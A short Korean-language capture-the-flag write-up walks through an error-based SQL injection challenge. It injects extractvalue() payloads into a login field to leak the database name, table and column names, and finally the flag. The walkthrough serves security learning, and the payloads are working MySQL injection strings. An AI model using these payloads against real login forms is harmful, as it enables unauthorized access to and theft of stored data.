CTF : SQL Injection 3
DATE : 2023/12/09
사이트로 들어가 기본적으로 제공되는 계정으로 로그인하면
normaltic:1234
302 found response를 받아 index.php로 redirection 된다.
이 페이지에서 SQL Injection을 수행할 수 있는지 확인하기 위해서
normaltic' and '1'='1
위의 SQL을 넣어보면

성공적으로 302 found 응답을 볼 수 있다. 즉! SQL Injection을 수행할 수 있음을 확인한 것이다.
그렇다면 다음으로 SQL을 주입해
의도적으로 에러를 발생 시킨다면 화면에 출력 되는 지를 확인해보자.
normaltic' and (extractvalue('1',concat(0x3a,(select 'hanhxx')))) and '1'='1
이 SQL이 실행되어 결과가 화면에 출력 된다면 ":hanhxx"라는 문구를 볼 수 있을 것이다.

우측의 결과 화면을 확인해보면, 의도한 대로 에러가 화면 상에 제공됨을 확인할 수 있다.
이제 우리는 에러 안에 SELECT문의 결과가 들어가도록 Query를 짜서 공격을 수행하면 된다!
SELECT문이 들어가는 자리 외의 Query는 방금 사용한 Query를 따른다.
normaltic' and (extractvalue('1',concat(0x3a,(__SELECT__)))) and '1'='1
그럼, 공격 Query를 정했으니 DB 이름을 알아내 보도록 하자.
select database()
DB 이름을 출력하기 위한 SELECT문을 공격 Query에 넣어
normaltic' and (extractvalue('1',concat(0x3a,(select database())))) and '1'='1
실행해보면 XPATH syntax error에서

sqli_2 라는 DB 이름을 확인할 수 있다.
바로 이어서, table 이름을 출력할 Query를 작성해
select table_name from information_schema.tables where table_schema=' sqli_2'
공격 Query에 넣어주면
normaltic' and (extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema=' sqli_2')))) and '1'='1
전체 길이는 길어지지만! 결과는 위와 같이

간략하게 출력된다. 내용을 보면 "Subquery returns more than 1 row"
결과가 1개 이상이라는 문구를 확인할 수 있다.
이럴 때는 여러 ROW 중 하나를 특정하기 위해서 limit을 사용하면 된다.

첫 번째 TABLE 이름을 확인해보면 flag_table 임을 알 수 있다.
flag가 들어있을 거란 수상한 냄새가 난다. 😏
바로 flag_table 안에 어떤 column이 있는 지 확인해보면
normaltic' and (extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1)))) and '1'='1

첫 번째 column이 flag임을 어렵지 않게 알아낼 수 있다.
이로써 Table name, column name을 알기 때문에,
select flag from flag_table
이제는 원하는 데이터를 추출할 수 있다.

공격 Query에 SELECT문을 넣어 실행하면~ 응답 페이지에서 FLAG GET!! 👍
Last updated